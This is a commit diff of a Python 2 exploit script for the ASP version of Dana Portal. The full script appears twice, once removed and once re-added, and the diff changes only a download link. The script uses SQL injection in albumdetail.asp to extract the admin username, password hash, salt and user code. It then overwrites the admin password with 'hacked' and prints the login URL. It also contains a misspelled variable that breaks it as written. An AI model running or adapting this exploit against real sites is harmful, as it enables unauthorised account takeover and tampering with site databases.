|
1 | | -#!/usr/bin/python |
2 | | -# Abysssec Inc Public Exploit Code |
3 | | -# Title : Dana Portal Remote Change Admin Password Exploit |
4 | | -# Affected Version : ASP Version |
5 | | -# Vulnerable File : albumdetail.asp |
6 | | -# Vendor Site : www.dana.ir |
7 | | - |
8 | | -# note : no point to keep it private anymore . |
9 | | -# This exploit ueses of sql injection vulnerability exist in DANA Portal asp version |
10 | | -# the "real" problem is when you extract SHA1 hash , hash is not clear and is SHA1+Salt |
11 | | -# The alghorithm is not really hard to break and writing cracker tool but i prefered |
12 | | -# To update admin password (SH1 + Salt ) with "hacked" word . |
13 | | -# this exploit is just for educational purpose and author will be not be responsible for any damage using this exploit . |
14 | | -# feel free to contact me at : admin [at] abysssec.com |
15 | | - |
16 | | -# for working with this exploit you need two asp file for updating hash you can download both from : |
17 | | -# www.abysssec.com/files/dana.zip |
18 | | -# www.milw0rm.com/sploits/2009-dana.zip |
19 | | - |
20 | | -# then need to upload asp files and change this "http://wwww.yourasphost.com/salt.asp?salt=" in exploit code |
21 | | - |
22 | | -import string |
23 | | -import urllib |
24 | | -import sys |
25 | | -import re |
26 | | - |
27 | | -def Abysssec(): |
28 | | - print "\n" |
29 | | - print "#####################################################" |
30 | | - print "# DanaPortal Remote Change Password Exploit #" |
31 | | - print "# www.Abysssec.com #" |
32 | | - print "#####################################################" |
33 | | - print "\n" |
34 | | - |
35 | | - |
36 | | - |
37 | | -#Call Banner |
38 | | -Abysssec() |
39 | | - |
40 | | -print "\n[+] Target Host: e.g: http://site.com/danaportal/" |
41 | | -try: |
42 | | - host=raw_input("\nTarget Host : ") |
43 | | -except KeyboardInterrupt: |
44 | | - print "\n[-] Program Terminated" |
45 | | - sys.exit() |
46 | | - |
47 | | - |
48 | | -print "\n[+] Trying To Connect ...\n" |
49 | | - |
50 | | -# Check Http in string |
51 | | -if host[:7] == "http://": |
52 | | - pass |
53 | | -else: |
54 | | - host = "http://"+host |
55 | | - |
56 | | - |
57 | | -#SQL Injection URL |
58 | | -sql_inject=host+"/albumdetail.asp?Gid=1+or+1=(select+top+1+username+from+tblAuthor)--" |
59 | | - |
60 | | -response = urllib.urlopen(sql_inject).read() |
61 | | - |
62 | | -print "[+] Trying To Inject Code ...\n" |
63 | | - |
64 | | -#Extract Admin User |
65 | | -findall_users=re.compile('<font face="Arial" size=2>Conversion failed when converting the nvarchar value \'(\w+)\' to data type int.</font>').findall |
66 | | -found_users=findall_users(response) |
67 | | - |
68 | | -#check found user length |
69 | | -if len(found_ussers)==0: |
70 | | - print "[-] Exploit Failed, Maybe Your Target Is Not Vulnerable " |
71 | | - sys.exit() |
72 | | - |
73 | | - |
74 | | -print "\n[+] Admin User : ",found_users[0] |
75 | | - |
76 | | -# Extract Admin Hash |
77 | | -hash_inject = host+"/albumdetail.asp?Gid=1+or+1=(select+top+1+password+from+tblAuthor+where+username+in+('"+found_users[0]+"'))--" |
78 | | -response = urllib.urlopen(hash_inject).read() |
79 | | -findall_hashs=re.compile('<font face="Arial" size=2>Conversion failed when converting the nvarchar value \'(\w+)\' to data type int.</font>').findall |
80 | | -found_hashs=findall_hashs(response) |
81 | | -if len(found_hashs)==0: |
82 | | - print "[-] Exploit Failed, Maybe Your Target Is Not Vulnerable " |
83 | | - sys.exit() |
84 | | - |
85 | | -print "\n[+] Admin Hash : ",found_hashs[0] |
86 | | - |
87 | | -# Extract Admin Salt |
88 | | -salt_inject = host+"/albumdetail.asp?Gid=1+or+1=(select+top+1+salt+from+tblAuthor+where+username+in+('"+found_users[0]+"'))--" |
89 | | -response = urllib.urlopen(salt_inject).read() |
90 | | -findall_salt=re.compile('<font face="Arial" size=2>Conversion failed when converting the nvarchar value \'(\w+)\' to data type int.</font>').findall |
91 | | -found_salt=findall_salt(response) |
92 | | -if len(found_salt)==0: |
93 | | - print "[-] Exploit Failed, Maybe Your Target Is Not Vulnerable " |
94 | | - sys.exit() |
95 | | -print "\n[+] Admin Salt : ",found_salt[0] |
96 | | - |
97 | | - |
98 | | -# Extract User Code |
99 | | -usercode_inject = host+"/albumdetail.asp?Gid=1+or+1=(select+top+1+user_code+from+tblAuthor+where+username+in+('"+found_users[0]+"'))--" |
100 | | -response = urllib.urlopen(usercode_inject).read() |
101 | | -findall_usercode=re.compile('<font face="Arial" size=2>Conversion failed when converting the nvarchar value \'(\w+)\' to data type int.</font>').findall |
102 | | -found_usercode=findall_usercode(response) |
103 | | -if len(found_usercode)==0: |
104 | | - print "[-] Exploit Failed, Maybe Your Target Is Not Vulnerable " |
105 | | - sys.exit() |
106 | | - |
107 | | -print "\n[+] Admin Code : ",found_usercode[0] |
108 | | - |
109 | | -# Generate New Hash + Salt |
110 | | -update_password = "http://wwww.yourasphost.com/salt.asp?salt="+found_salt[0] # change this url with yours ! |
111 | | -response = urllib.urlopen(update_password).read() |
112 | | -findall_update=re.compile('(\w+)</object>').findall |
113 | | - |
114 | | -found_update=findall_update(response) |
115 | | - |
116 | | -updated_hash = ''.join(found_update) |
117 | | - |
118 | | -# Update Password |
119 | | -usercode_inject = host+"/albumdetail.asp?Gid=-1+UPDATE+tblauthor+SET+password='"+updated_hash+"'+where+username='"+found_users[0]+"'--" |
120 | | - |
121 | | -response = urllib.urlopen(usercode_inject).read() |
122 | | - |
123 | | -if len(response) == 0: |
124 | | - print "[-] Exploit Failed, Maybe Your Target Is Not Vulnerable " |
125 | | - sys.exit() |
126 | | -else: |
127 | | - print "[+] Updated Successfully \n" |
128 | | - print "[+] Login Url : "+host+"/manage" |
129 | | - print "[+] Username : "+found_users[0] |
130 | | - print "[+] Password : hacked" |
131 | | - |
132 | | -# milw0rm.com [2009-05-18] |
| 1 | +#!/usr/bin/python |
| 2 | +# Abysssec Inc Public Exploit Code |
| 3 | +# Title : Dana Portal Remote Change Admin Password Exploit |
| 4 | +# Affected Version : ASP Version |
| 5 | +# Vulnerable File : albumdetail.asp |
| 6 | +# Vendor Site : www.dana.ir |
| 7 | + |
| 8 | +# note : no point to keep it private anymore . |
| 9 | +# This exploit ueses of sql injection vulnerability exist in DANA Portal asp version |
| 10 | +# the "real" problem is when you extract SHA1 hash , hash is not clear and is SHA1+Salt |
| 11 | +# The alghorithm is not really hard to break and writing cracker tool but i prefered |
| 12 | +# To update admin password (SH1 + Salt ) with "hacked" word . |
| 13 | +# this exploit is just for educational purpose and author will be not be responsible for any damage using this exploit . |
| 14 | +# feel free to contact me at : admin [at] abysssec.com |
| 15 | + |
| 16 | +# for working with this exploit you need two asp file for updating hash you can download both from : |
| 17 | +# www.abysssec.com/files/dana.zip |
| 18 | +# https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/2009-dana.zip |
| 19 | + |
| 20 | +# then need to upload asp files and change this "http://wwww.yourasphost.com/salt.asp?salt=" in exploit code |
| 21 | + |
| 22 | +import string |
| 23 | +import urllib |
| 24 | +import sys |
| 25 | +import re |
| 26 | + |
| 27 | +def Abysssec(): |
| 28 | + print "\n" |
| 29 | + print "#####################################################" |
| 30 | + print "# DanaPortal Remote Change Password Exploit #" |
| 31 | + print "# www.Abysssec.com #" |
| 32 | + print "#####################################################" |
| 33 | + print "\n" |
| 34 | + |
| 35 | + |
| 36 | + |
| 37 | +#Call Banner |
| 38 | +Abysssec() |
| 39 | + |
| 40 | +print "\n[+] Target Host: e.g: http://site.com/danaportal/" |
| 41 | +try: |
| 42 | + host=raw_input("\nTarget Host : ") |
| 43 | +except KeyboardInterrupt: |
| 44 | + print "\n[-] Program Terminated" |
| 45 | + sys.exit() |
| 46 | + |
| 47 | + |
| 48 | +print "\n[+] Trying To Connect ...\n" |
| 49 | + |
| 50 | +# Check Http in string |
| 51 | +if host[:7] == "http://": |
| 52 | + pass |
| 53 | +else: |
| 54 | + host = "http://"+host |
| 55 | + |
| 56 | + |
| 57 | +#SQL Injection URL |
| 58 | +sql_inject=host+"/albumdetail.asp?Gid=1+or+1=(select+top+1+username+from+tblAuthor)--" |
| 59 | + |
| 60 | +response = urllib.urlopen(sql_inject).read() |
| 61 | + |
| 62 | +print "[+] Trying To Inject Code ...\n" |
| 63 | + |
| 64 | +#Extract Admin User |
| 65 | +findall_users=re.compile('<font face="Arial" size=2>Conversion failed when converting the nvarchar value \'(\w+)\' to data type int.</font>').findall |
| 66 | +found_users=findall_users(response) |
| 67 | + |
| 68 | +#check found user length |
| 69 | +if len(found_ussers)==0: |
| 70 | + print "[-] Exploit Failed, Maybe Your Target Is Not Vulnerable " |
| 71 | + sys.exit() |
| 72 | + |
| 73 | + |
| 74 | +print "\n[+] Admin User : ",found_users[0] |
| 75 | + |
| 76 | +# Extract Admin Hash |
| 77 | +hash_inject = host+"/albumdetail.asp?Gid=1+or+1=(select+top+1+password+from+tblAuthor+where+username+in+('"+found_users[0]+"'))--" |
| 78 | +response = urllib.urlopen(hash_inject).read() |
| 79 | +findall_hashs=re.compile('<font face="Arial" size=2>Conversion failed when converting the nvarchar value \'(\w+)\' to data type int.</font>').findall |
| 80 | +found_hashs=findall_hashs(response) |
| 81 | +if len(found_hashs)==0: |
| 82 | + print "[-] Exploit Failed, Maybe Your Target Is Not Vulnerable " |
| 83 | + sys.exit() |
| 84 | + |
| 85 | +print "\n[+] Admin Hash : ",found_hashs[0] |
| 86 | + |
| 87 | +# Extract Admin Salt |
| 88 | +salt_inject = host+"/albumdetail.asp?Gid=1+or+1=(select+top+1+salt+from+tblAuthor+where+username+in+('"+found_users[0]+"'))--" |
| 89 | +response = urllib.urlopen(salt_inject).read() |
| 90 | +findall_salt=re.compile('<font face="Arial" size=2>Conversion failed when converting the nvarchar value \'(\w+)\' to data type int.</font>').findall |
| 91 | +found_salt=findall_salt(response) |
| 92 | +if len(found_salt)==0: |
| 93 | + print "[-] Exploit Failed, Maybe Your Target Is Not Vulnerable " |
| 94 | + sys.exit() |
| 95 | +print "\n[+] Admin Salt : ",found_salt[0] |
| 96 | + |
| 97 | + |
| 98 | +# Extract User Code |
| 99 | +usercode_inject = host+"/albumdetail.asp?Gid=1+or+1=(select+top+1+user_code+from+tblAuthor+where+username+in+('"+found_users[0]+"'))--" |
| 100 | +response = urllib.urlopen(usercode_inject).read() |
| 101 | +findall_usercode=re.compile('<font face="Arial" size=2>Conversion failed when converting the nvarchar value \'(\w+)\' to data type int.</font>').findall |
| 102 | +found_usercode=findall_usercode(response) |
| 103 | +if len(found_usercode)==0: |
| 104 | + print "[-] Exploit Failed, Maybe Your Target Is Not Vulnerable " |
| 105 | + sys.exit() |
| 106 | + |
| 107 | +print "\n[+] Admin Code : ",found_usercode[0] |
| 108 | + |
| 109 | +# Generate New Hash + Salt |
| 110 | +update_password = "http://wwww.yourasphost.com/salt.asp?salt="+found_salt[0] # change this url with yours ! |
| 111 | +response = urllib.urlopen(update_password).read() |
| 112 | +findall_update=re.compile('(\w+)</object>').findall |
| 113 | + |
| 114 | +found_update=findall_update(response) |
| 115 | + |
| 116 | +updated_hash = ''.join(found_update) |
| 117 | + |
| 118 | +# Update Password |
| 119 | +usercode_inject = host+"/albumdetail.asp?Gid=-1+UPDATE+tblauthor+SET+password='"+updated_hash+"'+where+username='"+found_users[0]+"'--" |
| 120 | + |
| 121 | +response = urllib.urlopen(usercode_inject).read() |
| 122 | + |
| 123 | +if len(response) == 0: |
| 124 | + print "[-] Exploit Failed, Maybe Your Target Is Not Vulnerable " |
| 125 | + sys.exit() |
| 126 | +else: |
| 127 | + print "[+] Updated Successfully \n" |
| 128 | + print "[+] Login Url : "+host+"/manage" |
| 129 | + print "[+] Username : "+found_users[0] |
| 130 | + print "[+] Password : hacked" |
| 131 | + |
| 132 | +# milw0rm.com [2009-05-18] |
0 commit comments